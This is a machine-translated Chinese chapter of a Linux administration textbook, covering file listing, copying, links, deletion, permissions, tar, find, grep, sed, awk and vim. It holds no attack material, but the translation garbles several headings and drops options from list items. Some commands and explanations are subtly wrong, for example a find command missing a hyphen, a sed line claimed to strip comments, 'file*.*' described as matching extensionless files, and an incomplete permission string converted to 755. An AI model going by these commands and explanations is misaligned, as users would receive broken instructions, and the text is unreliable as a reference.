-在前面的示例中,我们将文本从`echo`命令重定向到演示文件。 它在开始时不存在,因此由命令自动创建。 第一个`echo`命令使用`>`操作符向文件添加一行。 第二个`echo`命令使用`>>`操作符在文件末尾追加一个新的文本行。 - -### 清单文件 - -我们之前已经使用了`ls`命令的一些示例,因此您对它有些熟悉。 我们介绍了`-l`选项作为命令结构的一个示例。 因此,我们不会在这里进一步讨论它。 我们将探索这个基本和有用的命令的新选项: - -* `ls -lh`:`-l`选项以扩展格式列出文件,而`-h`选项以人类可读的形式显示文件,其大小以千字节或兆字节而不是字节为单位。 -* `ls -la`:`-a`选项显示所有文件,包括隐藏文件。 结合`-l`选项,输出将是所有文件及其详细信息的列表。 -* `ls -ltr`:`-t`选项根据文件的修改时间对文件进行排序,最新的显示在第一个; `-r`选项反转排序的顺序。 -* `ls – lS`:`-S`选项根据文件的大小对文件进行排序,最大的文件优先。 -* `ls -R`:`-R`选项以递归模式显示当前或指定目录的内容。 - -让我们在下一节中研究长列表。 - -### 长清单 - -的长清单`ls`命令现在应该解释一点,即使更多的细节将在第四章[*【4】【5】,*管理用户和组。 下面是我们的主目录中列出的不同文件类型的一些摘录:**](04.html#_idTextAnchor073) - -```sh -ls -la -total 80 -drwxr-xr-x 16 packt packt 4096 sep 13 01:15 . -drwxr-xr-x  3 root  root  4096 sep  8 11:58 .. --rw-------  1 packt packt  945 sep 18 23:38 .bash_history --rw-r--r--  1 packt packt  220 sep  8 11:58 .bash_logout --rw-r--r--  1 packt packt 3771 sep  8 11:58 .bashrc -[…] -``` - -在输出中,命令后的第一行显示了所列目录中的块数量。 之后,每一行代表一个文件或子目录,详细信息如下: - -* 第一个字符是文件的类型:目录的`d`,文件的`:`,链接的`l`,字符设备的`c`,块设备的`b`。 -* 下面的 9 个字符表示权限(详见[*第四章*](04.html#_idTextAnchor073),*管理用户和组*)。 -* 那个文件的硬链接。 -* 所有者的 PID 和 GID(详见[*第四章*](04.html#_idTextAnchor073),*管理用户和组*)。 -* 文件的大小(这个数字取决于它是否是人类可读的格式)。 -* 文件最后一次修改的时间。 -* 文件或目录的名称。 - -下一节是关于复制和移动文件。 - -### 复制和移动文件 - -在 Linux 操作系统下,复制文件时,使用`cp`命令。 `mv`命令在文件系统中移动文件。 该命令也用于重命名文件。 - -要复制一个文件,你可以用最简单的方式使用`cp`命令: - -```sh -cp oldfile newfile -``` - -这里的`oldfile`是要复制的文件的名称,`newfile`是目标文件的名称。 您还可以在一个已经存在的目录中复制多个文件。 如果目标目录不存在,shell 将通知您目标不是目录。 - -现在让我们看看一些变化。 - -#### cp - - -`-a`选项通过保留所有属性和链接,以递归模式复制整个目录层次结构。 在下面的示例中,我们使用`-a`选项将整个`xpackt`目录复制到一个新创建的名为`backup`的目录: - -![Figure 2.15 – Using the copy command with the -a option](img/B13196_02_15.jpg) - -图 2.15 -使用带有-a 选项的 copy 命令 - -下一个选项是`cp -r`。 - -#### cp - r - -此选项类似于`-a`,但它不保留属性,只保留符号链接。 - -#### cp - p - -`-p`选项保留文件的权限和时间戳。 否则,只要以最简单的形式使用`cp`,文件的副本将由用户拥有,并带有执行复制操作时的时间戳。 - -移动文件是通过`mv`命令完成的。 它要么用于将文件和目录从一个目的地移动到另一个目的地,要么用于重命名文件。 - -#### cp - r - -`-R`选项允许您递归地复制目录。 在下面的示例中,我们将使用`ls`命令显示`~/xpackt/`目录的内容,然后使用`cp -R`命令将`/files`目录的内容复制到`/new-files`目录。 `/new-files`目录不存在。 `cp -R`命令创建了它: - -![Figure 2.16 – Using the cp -R command](img/B13196_02_16.jpg) - -图 2.16 -使用 cp - r 命令 - -您可以通过访问手册页面了解许多其他选项。 请随意探索它们,并在日常任务中使用它们。 - -### 使用链接 - -链接在 Linux 中是一个引人注目的选择。 它们可以被用作保护原始文件的一种手段,或者只是作为一种工具,在没有单独的硬拷贝的情况下保存一个文件的多个副本。 可以将其视为为同一文件创建替代名称的工具。 - -命令是`ln`,它可以用来创建两种类型的链接: - -* 符号链接 -* 硬链接 - -这两个链接是指向原始文件的不同类型的文件。 在符号链接的情况下,它是指向原始文件的物理文件,而硬链接是指向原始文件的虚拟文件。 - -符号链接**用于已经存在的原始文件; 它们被链接并且有相同的内容。 此外,它可以跨越不同的文件系统和物理媒体,这意味着它可以链接到其他驱动器或具有不同类型文件系统的分区上的原始文件。 使用的命令如下:** - -```sh -ln -s [original_filename] [link_filename] -``` - -下面是一个示例,我们列出了`~/xpackt`目录的内容,然后使用`ln -s`命令创建到`new-report`文件的符号链接,然后再次列出内容: - -![Figure 2.17 – Using symbolic links](img/B13196_02_17.jpg) - -图 2.17 -使用符号链接 - -您可以看到所创建的链接名为`new-report-link`,并且用一个箭头`->`直观地表示,这个箭头显示了它所指向的原始文件。 您还可以区分两个文件(链接文件和原始文件)之间的大小差异。 权限也是不同的。 这是一种知道它们是两个不同的物理文件的方法。 要再次检查它们是否是不同的物理文件,可以使用`ls -i`命令为每个文件显示**inode**。 在下面的示例中,您可以看到`new-report`和`new-report-link`具有不同的索引节点: - -![Figure 2.18 – Comparing the inodes for the symbolic link and original file ](img/B13196_02_18.jpg) - -图 2.18 -比较符号链接和原始文件的索引节点 - -如果您想知道链接指向何处而又不想使用`ls -l`,可以使用`readlink`命令。 它在 Ubuntu 和 CentOS 中都可用。 该命令的输出只是符号链接所指向的文件的名称。 它只在符号链接的情况下工作: - -![Figure 2.19 – The readlink command output](img/B13196_02_19.jpg) - -图 2.19 - readlink 命令输出 - -在前面的示例中,您可以看到输出显示`new-report-link`文件是指向名为`new-report`的文件的符号链接。 - -一个**硬链接**是另一个虚拟文件,它指向原始文件。 它们在物理上是一样的。 这个命令只是没有任何选项的`ln`: - -```sh -ln [original-file] [linked-file] -``` - -在下面的示例中,我们为`new-report`文件创建了一个硬链接,并将其命名为`new-report-hl`。 在输出中,您将看到它们具有相同的大小、相同的 inode,并且在使用`echo`和输出重定向更改原始文件之后,这些更改对两个文件都可用。 这两个文件的表示方式与符号链接不同。 它们在你的列表中显示为两个不同的文件,没有视觉帮助来显示指向哪个文件: - -![Figure 2.20 – Working with hard links](img/B13196_02_20.jpg) - -图 2.20 -使用硬链接 - -本质上,硬链接是链接到原始文件的 inode。 您可以将其视为一个文件的新名称,类似于对其进行重命名,但不完全相同。 - -### 删除文件 - -在 Linux 中,您可以使用移除(`rm`)命令删除文件。 在最简单的形式中,使用`rm`命令时不带选项。 要对删除项目的方式进行更多控制,可以使用`-i`、`-f`和`-r`选项。 - -#### rm -我 - -此选项通过在删除前询问您是否接受来启用交互模式: - -![Figure 2.21 – Removing a file interactively](img/B13196_02_21.jpg) - -图 2.21 -交互式删除文件 - -在前面的示例中,我们使用`-i`选项删除了在前一节中创建的硬链接。 当被要求互动时,你有两个选择。 您可以通过键入`y`(yes)或`n`(no)来批准操作以取消操作。 - -#### rm - f - -`-f`选项强制删除文件,不需要与用户进行任何交互: - -![Figure 2.22 – Force remove a file](img/B13196_02_22.jpg) - -图 2.22 -强制删除文件 - -我们删除了先前使用`rm -f`命令创建的符号链接。 它没有征求我们的批准,直接删除了文件。 - -#### rm - r - -该选项以递归方式删除文件,用于删除多个文件和目录。 例如,我们将尝试删除`xpackt`目录中的`new-files`目录。 当以最简单的方式使用`rm`命令时,输出将显示一个错误,说它不能删除目录。 但当与`-r`选项一起使用时,目录将立即删除: - -![Figure 2.23 – Remove a directory recursively](img/B13196_02_23.jpg) - -图 2.23 -递归删除目录 - -重要提示 - -我们建议*在使用`remove`命令时要格外小心*。 最具破坏性的方式是使用`rm -rf`。 这将删除任何东西,文件和目录,没有警告。 注意了,因为已经没有回头路了。 一旦使用,伤害就会造成。 - -很多时候,删除文件就像一条单行道,没有回头路。 这使得删除文件的过程变得非常重要,在删除之前进行备份可以为你节省很多不必要的压力。 - -### 创建目录 - -在 Linux 中,您可以使用`mkdir`命令创建一个新目录: - -![Figure 2.24 – Creating a new directory](img/B13196_02_24.jpg) - -图 2.24 -创建一个新目录 - -如果你想一次创建更多的目录和子目录,你需要使用`-p`选项(来自父目录的`p`): - -```sh -mkdir -p reports/month/day -``` - -然后使用`ls -R`命令查看目录结构: - -```sh -ls -R reports/ -``` - -目录在 Linux 中也是文件,只是它们有特殊的属性。 它们对于组织文件系统是必不可少的。 对于这个有用的工具的更多选项,请随意访问手册页。 - -### 删除目录 - -用于删除目录的 Linux 命令称为`rmdir`。 默认情况下,它只删除空目录。 让我们看看如果我们试图删除一个不为空的目录会发生什么: - -![Figure 2.25 – Using the rmdir command](img/B13196_02_25.jpg) - -图 2.25 -使用 rmdir 命令 - -这是 shell 中的一项预防措施,因为删除非空目录可能会产生灾难性的后果,正如我们在使用`rm`命令时看到的那样。 `rmdir`命令不像`rm`那样有`-i`选项。 使用`rmdir`命令删除目录的唯一方法是首先手动删除其中的文件。 - -## 文件查看命令 - -由于 Linux 中的所有内容都是一个文件,因此能够查看和处理文件内容对任何系统管理员来说都是一项重要的资产。 在本章中,我们将学习查看文件的命令,因为几乎所有文件都包含文本,在某种程度上,这些文本应该是可读的。 - -### cat 命令 - -在我们前面的一些示例中很快就使用了这个命令。 它是由**conCATenate**缩短而来,用于将文件的内容打印到屏幕上。 下面是连接`/etc/papersize`文件的另一个例子: - -![Figure 2.26 – Example of using the cat command](img/B13196_02_26.jpg) - -图 2.26 -使用 cat 命令的示例 - -`cat`命令有几个可用选项,我们在这里不介绍这些选项,因为在大多数情况下,最纯粹的形式是最常用的。 要了解更多细节,请参阅手册页。 - -### 更少的命令 - -有些时候,一个文件有太多的文本,它将覆盖多个屏幕,并且仅使用`cat`将很难在终端上查看。 这就是使用`less`命令的方便之处。 它一次显示一个屏幕。 屏幕的意义,完全取决于终端窗口的大小。 让我们以`/etc/passwd`文件为例。 它可能有多行,您无法在一个屏幕中容纳这些行。 你可以使用以下命令: - -```sh -$ less /etc/passwd -``` - -当您按*进入*时,文件的内容将显示在您的屏幕上。 要浏览它,你可以使用以下键: - -* *空格*:向前移动一屏。 -* *进入*:向前移动一行。 -* *b*:向后移动一屏。 -* */*:进入搜索模式; 这将在您的文件中向前搜索。 -* *?* :搜索模式; 这将在您的文件中向后搜索。 -* *v*:用默认编辑器编辑你的文件。 -* *g*:跳转到文件的开头。 -* *G*:跳转到文件末尾。 -* *q*:退出输出。 - -`less`命令有许多可供使用的选项。 我们建议您查阅手册页的这个命令。 - -### 头命令 - -当您只想将文本文件的开头(头)打印到屏幕上时,这个命令非常方便。 默认情况下,它只打印文件的前 10 行。 您可以使用相同的`/etc/passwd`文件进行头部练习,并执行以下命令。 看会发生什么。 它打印前 10 行,然后退出命令,将您带回到 shell 提示符: - -```sh -head /etc/passwd -``` - -这个命令的一个有用选项是打印文件的行数不超过 10 行。 为此,您可以使用`-n`参数,或者仅仅使用`–`与您想要打印的行数: - -![Figure 2.27 – Using the head command](img/B13196_02_27.jpg) - -图 2.27 -使用 head 命令 - -作为系统管理员,许多其他选项对您的工作也很有用,但我们在这里不介绍它们。 你可以自己去探索它们。 - -### 尾巴命令 - -`tail`命令与`head`命令类似,只是在默认情况下,它打印文件的最后 10 行。 尾巴被积极地用于积极地观察不断变化的日志文件。 它可以在其他应用写入文件时打印文件的最后几行。 选项类似于`head`命令的选项: - -```sh -tail -f /var/log/syslog -``` - -使用`-f`选项将使命令在写入`/var/log/syslog`文件时监视该文件。 它将以有效的方式将文件的内容显示到屏幕上。 要退出该屏幕,您需要按*Ctrl*+*C*返回 shell 提示符。 - -## 文件属性命令 - -有时候仅仅查看文件的内容是不够的,您需要关于该文件的额外信息。 您还可以使用其他一些方便的命令,我们将它们描述如下。 - -### stat 命令 - -该命令提供的信息比`ls`更多。 下面的示例显示了相同文件的`ls`和`stat`输出的比较: - -![Figure 2.28 – Using the stat command](img/B13196_02_28.jpg) - -图 2.28 -使用 stat 命令 - -这将为您提供关于名称、大小、块数量、文件类型、inode、链接数量、权限、UID 和 GID 以及`atime`、`mtime`和`ctime`的更多信息。 关于它的更多信息,请参阅手册页。 - -### 文件命令 - -这个命令只是报告文件的类型。 下面是一个文本文件和命令文件的例子: - -![Figure 2.29 – Using the file command](img/B13196_02_29.jpg) - -图 2.29 -使用 file 命令 - -Linux 不像其他一些操作系统那样依赖于文件扩展名和类型。 在这方面,`file`命令主要通过文件内容来确定文件类型。 - -重要提示 - -还有一些其他重要命令,如`umask`、`chown`、`chmod`和`chgrp`,它们分别用于更改或设置默认的创建模式、所有者、模式(访问权限)和组。 这里将简要介绍它们,因为它们涉及到设置文件的属性,但要了解更详细的描述,请参考[*第四章*](04.html#_idTextAnchor073)、*管理用户和组*。 - -### 文件所有权和权限 - -在 Linux 中,文件安全性是由所有权和权限设置的。 文件的所有权由文件的所有者和所有者组决定。 根据所有者判断,文件的所有权有三种类型分配给它:*用户*、*组*和*其他*。 在大多数情况下,用户是文件的所有者。 创建文件的人就是文件的所有者。 用户可以通过`chown`命令修改。 当设置组所有权时,您确定组中每个人的权限。 这是使用`chgrp`命令设置的。 当涉及到其他用户时,引用是指该系统上的其他所有人,那些没有创建文件、不是文件所有者、也不属于所有者组的人。 *其他*又称*世界*。 - -除了设置用户所有权外,系统还必须知道如何确定用户行为,这是通过使用权限来实现的。 我们将使用`ls -l`命令快速回顾一下文件的属性: - -![Figure 2.30 – Long listing output](img/B13196_02_30.jpg) - -图 2.30 -长列表输出 - -在前面的示例中,您看到目录中文件的两种不同类型的权限。 每行有 12 个字符,用于保留特殊的属性和权限。 在这 12 个例子中,只有 10 个在前面的例子中使用。 其中 9 个代表权限,第一个代表文件类型。 有三个简单易记的权限缩写: - -* `r`为只读权限。 -* `w`为写权限。 -* `x`为执行权限。 -* `-`是不允许的。 - -这九个字分为三个区域,每个区域由三个字组成。 前三个字符保留给用户权限,后三个字符保留给组权限,最后三个字符代表其他或世界权限。 - -文件类型也有它们的代码,如下: - -* `d`:目录 -* `-`:文件 -* `l`:符号链接 -* `p`:命名管; 一种促进程序间通信的特殊文件 -* `s`:一种 socket,类似于管道,但具有双向和网络通信功能 -* `b`:块设备; 一种与硬件设备对应的文件 -* `c`:字符装置; 类似于块设备 - -权限字符串是一个 10 位的字符串。 第一个位保留给文件类型。 接下来的 9 位通过将它们划分为 3 位数据包来确定权限。 每个包用八进制数表示(因为八进制数有 3 个字节)。 因此,权限用 2 的幂表示: - -* `read`等于 2 ^ 2(2 的 2 次方)等于 4。 -* `write`是 2 ^ 1(2 的 1 次方),等于 2。 -* `execute`是 2 ^ 0(2 的零次方),等于 1。 - -在这方面,文件权限应该按照下图表示: - -![Figure 2.31 – File permissions explained](img/B13196_02_31.jpg) - -图 2.31 -文件权限说明 - -在上面的图中,权限显示为一个由 9 个字符组成的字符串,就像您在`ls -la`输出中看到的那样。 该行被分为三个不同的部分,一个用于所有者/用户,一个用于组,一个用于 other/world。 它们显示在前两行。 另外两行显示权限类型(`read`、`write`和`execute`)以及下面的八进制数。 - -这很有用,因为它将八进制表示与权限的字符表示联系起来。 因此,如果您要将显示为`rwx r-x`的权限转换为八进制,根据前面的图,您可以很容易地说它是`755`。 这是因为对于第一个组,也就是所有者,您让所有的人都处于活动状态(`rwx`),也就是说 4+2+1=7。 对于第二组,您只有两个活动权限,即`r`和`x`,即 4+1=5。 最后,对于最后一组,您还可以激活两个权限,类似于第二组(`r`和`x`),即 4+1=5。 现在您知道了八进制的许可是`755`。 - -作为练习,你应该尝试将以下权限转换为八进制: - -* `rwx rwx` -* `rwx r-x` -* `rwx r-x - - -` -* `rwx - - - - - -` -* `rw- rw- rw-` -* `rw- rw- r - -` -* `rw- rw- - - -` -* `rw- r- - r- -` -* `rw- r- - - - -` -* `rw- - - - - - -` -* `r - - - - - - - -` - -关于`chown`、`chgrp`和`chmod`命令的更多细节将在[*第 4 章*](04.html#_idTextAnchor073)、*管理用户和组*中给出。 - -### 文件压缩和归档命令 - -在 Linux 中,用于归档的标准工具称为`tar`,来自磁带归档。 它最初在 Unix 中用于将文件写入外部磁带设备以进行归档。 现在,在 Linux 中,它还被用于以压缩格式写入文件。 除`tar`存档外,其他流行的存档格式是`gzip`和`bzip`用于压缩存档,以及来自 Windows 的`zip`。 - -#### tar 命令 - -此命令与选项一起使用,并且在默认情况下不提供压缩功能。 要使用压缩,我们需要使用特定的选项。 这里是一些最有用的论据可用`tar`: - -* `tar -c`:创建存档 -* `tar -r`:向已经存在的归档文件追加文件 -* `tar -u`:只将更改的文件追加到现有存档 -* 将一个存档附加到另一个存档的末尾 -* :列出存档的内容 -* `tar -x`:提取归档内容 -* `tar -z`:对归档文件使用`gzip`压缩 -* `tar -j`:对归档文件使用`bzip2`压缩 -* `tar -v`:使用详细模式,在屏幕上打印额外的信息 -* `tar -p`:恢复提取文件的原始权限和所有权 -* `tar -f`:输出文件名 - -有可能在你的日常任务中,你将不得不把这些论点结合在一起。 - -例如,要创建`files`目录的存档,我们使用`-cvf`参数组合,如下所示: - -```sh -tar -cvf files-archive.tar files/ -``` - -创建的归档文件没有被压缩。 要使用压缩,我们需要添加`-z`或`-j`参数。 接下来,我们将为`gzip`压缩算法使用`-z`选项。 使用下面的命令,然后使用`ls -l`命令比较两个归档文件的大小。 作为一般规则,建议为归档文件使用扩展名: - -```sh -tar -czvf gzipped-archived.tar.gz files -``` - -Linux 中还有其他有用的归档工具,但是`tar`仍然是最常用的一个。 请随意探索其他的。 - -### 文件定位命令 - -在 Linux 中定位文件对任何系统管理员来说都是一项基本任务。 由于 Linux 系统包含大量文件,查找文件可能是一项令人生畏的任务。 尽管如此,您仍有方便的工具可以使用,知道如何使用它们将是您最大的资产之一。 在这些命令中,我们将展示`locate`、`which`、`whereis`和`find`。 - -#### locate 命令 - -`locate`命令没有被默认安装在 Ubuntu 上。 要安装它,使用以下命令: - -```sh -sudo apt install mlocate -``` - -这个命令创建系统上所有文件位置的索引。 因此,当您执行该命令时,它将在数据库中搜索您的文件。 它使用`updatedb`命令作为它的伙伴。 - -在开始使用 locate 命令之前,应该执行`updatedb`来更新位置数据库。 完成之后,就可以开始定位文件了。 在下面的例子中,我们将定位任何名称中包含`new-report`的文件: - -![Figure 2.32 – Using the locate command](img/B13196_02_32.jpg) - -图 2.32 -使用 locate 命令 - -如果我们要搜索具有更通用名称的文件,例如`presentation`,输出将太长且不相关。 下面是一个例子,我们使用输出重定向到一个文件和`wc`(单词计数)命令只显示文件的行数、单词数和字节数到标准输出: - -![Figure 2.33 – Using the locate command with output redirection and the wc command](img/B13196_02_33.jpg) - -图 2.33 -使用带有输出重定向的 locate 命令和 wc 命令 - -在上述输出中,该文件有 348 行。 文件内的单词使用准确的数字,因为路径之间没有空格,所以每一行都被检测为单个单词。 该文件有 27,271 字节。 更多选择,请参考手册页。 - -#### 该命令 - -该命令在 shell 的搜索路径中定位一个可执行文件(程序或命令)。 例如,要定位`ls`命令,输入以下命令: - -```sh -which ls -``` - -输出将显示`ls`命令的位置。 现在尝试使用`cd`命令: - -```sh -which cd -``` - -您将看到没有输出。 这是因为`cd`命令构建在 shell 内部,并且没有其他位置可以显示该命令。 - -#### 那儿离命令 - -该命令只查找可执行文件、文档文件和源代码文件。 因此,它可能无法找到您想要的内容,因此要谨慎使用。 让我们搜索两个命令,`cd`和`ls`: - -```sh -whereis cd; whereis ls -``` - -`cd`命令的输出没有显示任何相关信息,因为它是一个内置的 shell 命令。 对于`ls`命令,输出将显示命令本身和手册页面的位置。 - -#### find 命令 - -这个命令是 Linux 中最强大的命令之一。 它可以根据一定的条件搜索目录和子目录中的文件。 它有 50 多个选项。 它的主要缺点是语法,因为它在某种程度上不同于其他 Linux 命令。 了解`find`命令如何工作的最好方法是通过示例。 这就是为什么我们将向您展示大量使用这个命令的示例,希望您能够熟练地使用它。 要查看其强大的选项,请参阅手册页。 - -重要提示 - -由于我们将使用下面的所有示例来搜索根目录中的文件,因此您将收到许多权限被拒绝的错误。 您可以通过使用 sudo 或 root 用户来克服这些问题,但我们建议只有在您对自己的操作有信心时才这样做。 您可能会遇到一个特定的错误,即使是作为根用户运行:`find: '/run/user/1000/gvfs' : Permission denied`。 不要害怕,你并没有做错什么。 这个错误指出在 FUSE 中无法访问 GNOME 的虚拟文件系统 GVFS 的挂载点。 如果你需要关于这件事的更多信息,请随时告诉我。 - -在根目录中查找名称中包含`e100`字符串的所有文件,并将它们打印到标准输出: - -```sh -find / -name e100 -print -/usr/lib/firmware/e100 -``` - -在根目录中查找名称中包含`file`字符串且类型为`file`的所有文件,并将结果打印到标准输出: - -```sh -find / -name file -type f -print -/usr/share/bash-completion/completions/file -/usr/bin/file -/usr/lib/apt/methods/file -/snap/core18/1705/usr/share/bash-completion/completions/file -/snap/core18/1885/usr/share/bash-completion/completions/file -``` - -只在`/opt`、`/usr`和`/var`目录中查找名称中包含`print`字符串的所有文件: - -```sh -find /opt /usr /var -name print -type f -print -``` - -找到根目录中扩展名为`.conf`的所有文件: - -```sh -find / type f -name "*.conf" -``` - -查找根目录中所有名称中有`file`字符串且没有扩展名的文件: - -```sh -find / -type f -name "file*.*" -``` - -在根目录中查找扩展名为`.c`、`.sh`和`.py`的所有文件,并将列表添加到名为`findfile`的文件中: - -```sh -find / -type f \( -name "*.c" -o -name "*.sh" -o -name "*.py" \) > findfile -``` - -在根目录中找到所有扩展名为`.c`的文件,对它们进行排序,并将它们添加到一个文件中: - -```sh -find / -type f -name "*.c" -print | sort > findfile2 -``` - -查找根目录下的所有文件,权限设置为`0664`: - -```sh -find / -type f -perm 0664 -``` - -查找根目录中所有对其所有者具有只读权限的文件: - -```sh -find / -type f -perm /u=r -``` - -找到根目录下所有可执行的文件: - -```sh -find / -type f -perm /a=x -``` - -找到根目录中 2 天前修改过的所有文件: - -```sh -find / -type f -mtime 2 -``` - -查找根目录下过去 2 天内被访问过的所有文件: - -```sh -find / -type f -atime 2 -``` - -查找所有在过去 2 到 5 天内修改过的文件: - -```sh -find / -type f -mtime +2 -mtime -5 -``` - -找到最近 10 分钟内修改过的所有文件: - -```sh -find / -type f -mmin -10 -``` - -查找过去 10 分钟内创建的所有文件: - -```sh -find / -type f -cmin -10 -``` - -找到最近 10 分钟内被访问过的所有文件 - -```sh -find / -type f -amin -10 -``` - -找到所有大小为 5mb 的文件: - -```sh -find / -type f -size 5M -``` - -找到所有大小在 5 到 10 MB 之间的文件: - -```sh -find / -type f -size +5M -size -10M -``` - -找到所有的空文件和空目录: - -```sh -find / -type f -empty -find / -type d -empty -``` - -在`/etc`目录中找到所有最大的文件,并将前 5 个文件打印到标准输出。 请考虑到这个命令可能会占用大量资源。 不要尝试对整个根目录这样做,因为你可能会耗尽系统内存: - -```sh -find /etc -type f -exec ls -l {} \; | sort -n -r | head -5 -``` - -查找`/etc`目录下最小的前 5 个文件: - -```sh -find /etc -type f -exec ls -s {} \; | sort -n | head -5 -``` - -你可以随心所欲地尝试各种类型的`find`选项。 命令是非常宽容和强大的。 小心使用。 - -### 文本处理命令 - -文本操作可能是 Linux 最好的资产。 它提供了大量的工具来处理命令行的文本。 一些更重要和广泛使用的是`grep`,`tee`,以及更强大的`sed`和`awk`。 - -#### grep 命令 - -这是 Linux 中最强大的命令之一。 它也是非常有用的。 它具有在文本文件中搜索字符串的能力。 它也有许多强大的选项: - -* `grep -v`:显示不符合搜索条件的行。 -* `grep -l`:只显示符合条件的文件名。 -* `grep -L`:只显示符合*不符合*标准的行。 -* `grep -c`:一个计数器,显示符合条件的行数。 -* `grep -n`:显示找到字符串的行号。 -* `grep -i`:不区分大小写。 -* `grep -R`:在目录结构内递归搜索。 -* `grep -E`:使用扩展正则表达式。 -* `grep -F`:使用严格的字符串列表代替正则表达式。 - -下面是一些如何使用`grep`命令的示例。 - -找出最后一次使用`sudo`命令的时间: - -```sh -sudo grep sudo /var/log/auth.log -``` - -从`/etc`目录中搜索文本文件中的`packt`字符串: - -```sh -grep -R packt /etc -``` - -显示匹配找到的确切线: - -```sh -grep -Rn packt /etc -``` - -如果您不想看到找到匹配的每个文件的文件名,请使用`-h`选项。 然后,`grep`将只显示找到匹配的行: - -```sh -grep -Rh packt /etc -``` - -若要只显示找到匹配的文件的名称,请使用`-l`: - -```sh -grep -Rl packt /etc -``` - -`grep`很可能与壳管结合使用。 这里有一些例子。 - -如果希望只查看当前工作目录中的目录,可以将`ls`命令输出管道到`grep`。 在下面的例子中,我们只列出了以字母`d`开头的行,它表示目录: - -```sh -ls -la | grep '^d' -``` - -如果你想显示你的 CPU 的模型,你可以使用以下命令: - -```sh -cat /proc/cpuinfo | grep -i 'Model' -``` - -作为 Linux 系统管理员,您会发现`grep`是您最亲密的朋友之一,所以不要害怕深入挖掘它的选项和隐藏的瑰宝。 - -#### tee 命令 - -这个命令非常类似于`cat`命令。 基本上,它做同样的事情,通过不做任何修改地将标准输入复制到标准输出,但它还将其复制到一个或多个文件中。 - -在下面的例子中,我们使用了`wc`命令来计算`/home/packt/`变量文件中的行数。 我们使用`-a`选项(如果文件已经存在,则追加)将输出管道连接到`tee`命令,该选项将其写入一个名为`no-variables`的新文件,并同时将其打印到标准输出: - -```sh -wc -l variables | tee -a no-variables -``` - -`tee`在文件操作命令方面不太受欢迎。 虽然它非常强大,但它的使用很容易被忽视。 尽管如此,我们还是鼓励你尽可能多地使用它的力量。 - -#### sed 和 awk 命令 - -`sed`不仅仅是一个简单的命令。 它是一种数据流编辑器,它根据预先提供的一组严格的规则来编辑文件。 根据这些规则,命令逐行读取文件,然后操纵文件内的数据。 `sed`是一个非交互式的流编辑器,它根据脚本进行更改,在这方面,它非常适合一次编辑更多文件或执行单调的重复性任务。 `sed`命令结构如下: - -```sh -sed 's/regex/replacement/flag' -``` - -`sed`的一个常见用例是用于文本替换。 还有许多其他的用例我们不在这里讨论,但是如果您觉得有必要更多地了解`sed`工具,可以在网上和出版物中找到很多很好的材料。 - -下面是一些最常见的用例`sed`。 - -在文本文件中用另一个名称替换一个名称。 对于本例,我们将在`~/xpackt/`目录中使用一个名为`poem`的新文件。 在里面,我们生成了一首随机的诗。 任务是将文件中的名称`Jane`替换为`Elane`。 字母`g`作为命令的标志,指定操作应该是全局的,就像应用于整个文本文档一样。 结果如下: - -![Figure 2.34 – Using the sed command to replace a string in a text file](img/B13196_02_34.jpg) - -图 2.34 -使用 sed 命令替换文本文件中的字符串 - -如果您使用`cat`命令检查原始文件,您将看到`sed`只将更改后的名称结果发送到标准输出,而没有对原始文件进行任何更改。 要使对文件的更改成为永久性的,您必须使用`-i`属性。 - -在下面的示例中,我们将在每行开头添加三个新空格,并将输出重定向到一个新文件。 我们将使用与以前相同的`poem`文件。 文件的开头用`^`字符表示: - -![Figure 2.35 – Using sed to add spaces](img/B13196_02_35.jpg) - -图 2.35 -使用 sed 添加空格 - -我们将使用`sed`只显示文件中的第二行,并使用显示除第二行以外的所有行: - -![Figure 2.36 – Using sed to show specific lines in a file](img/B13196_02_36.jpg) - -图 2.36 -使用 sed 显示文件中的特定行 - -只显示文件(在本例中为`/etc/passwd`文件)中介于 4 到 6 之间的行: - -![Figure 2.37 – Using sed to show a specific number of lines in a text file](img/B13196_02_37.jpg) - -图 2.37 -使用 sed 显示文本文件中的特定行数 - -这里有一个更实际的练习。 我们将显示 Ubuntu 中没有注释的`/etc/apt/sources.list`内容。 为此,使用以下命令: - -```sh -sed '/^#/g' /etc/apt/sources.list -``` - -作为练习,自己检查输出。 - -`awk`不仅仅是一个简单的命令; 它是一种模式匹配语言。 它是一种成熟的编程语言,是 Perl 的基础。 它用于从文本文件中提取数据,语法类似于 c。它将文件视为由字段和记录组成。 `awk`命令的总体结构如下: - -```sh -awk '/search pattern 1/ {actions} /search pattern 2/ {actions}' file -``` - -本书无法展示`awk`的真正威力,因此我们将只展示几个简单的示例,以证明其对未来系统管理员的实用性。 - -作为第一个例子,我们将生成一个包含 Ubuntu 安装的所有包名称的列表。 我们只需要打印每个包的名称,而不需要打印所有其他细节。 为此,我们将使用以下命令: - -![Figure 2.38 – Using awk to generate a list of package names](img/B13196_02_38.jpg) - -图 2.38 -使用 awk 生成包名列表 - -通常,要查看 Ubuntu 中已安装的软件包,我们需要运行`dpkg -l`命令。 在前面的示例中,我们将该命令的输出管道连接到`awk`命令,该命令打印出`dpkg -l`输出(`'{print $2}'`)的第二列(字段)。 然后,我们将所有内容重定向到一个名为`package-list`的新文件,并使用`tail`命令查看新创建文件的最后 10 行。 - -`sed`和`awk`都是非常强大的工具,我们只是触及了它们所能做的事情的皮毛。 请随意深入挖掘这两个很棒的工具。 - -## 使用文本编辑器来创建和编辑文件 - -Linux 有几个可以使用的命令行文本编辑器。 其中有**纳米**、**emacs**、**vim**等。 这些是最常用的。 还有**pico**,**joe**,和**ed**作为文本编辑器,使用频率比前面提到的那些要低。 我们将介绍 vim,因为您很有可能在您所使用的任何 Linux 系统上找到它。 然而,当前的趋势是用 nano 取代 vim 作为默认的文本编辑器。 例如,Ubuntu 默认没有安装 vim,但是 CentOS 有。 Fedora 目前正在考虑将 nano 作为默认文本编辑器。 因此,您可能想学习 nano,但出于遗留目的,vim 是一个非常有用的工具。 - -### 使用 vim 编辑文本文件 - -Vim 是 vi 的改进版本,vi 是 Unix 的默认文本编辑器。 这是一个非常强大的编辑工具。 这种能力带来了许多选项,可以用来减轻您的工作,而这可能是压倒性的。 在本章中,我们将向您介绍文本编辑器的基本命令,以帮助您熟练地使用它。 - -Vim 是一个基于模式的编辑器,因为它的操作是围绕不同的模式组织的。 简单地说,这些模式如下: - -* `command`模式为默认模式,等待命令。 -* `insert`模式为文本插入模式。 -* `replace`模式为文本替换模式。 -* `search`模式是搜索文档的特殊模式。 - -让我们看看如何在这些模式之间切换。 - -#### 切换模式 - -当您第一次打开 vim 时,将被引入一个空编辑器,该编辑器只显示有关所使用版本的信息和一些帮助命令。 您处于`command`模式。 这意味着 vim 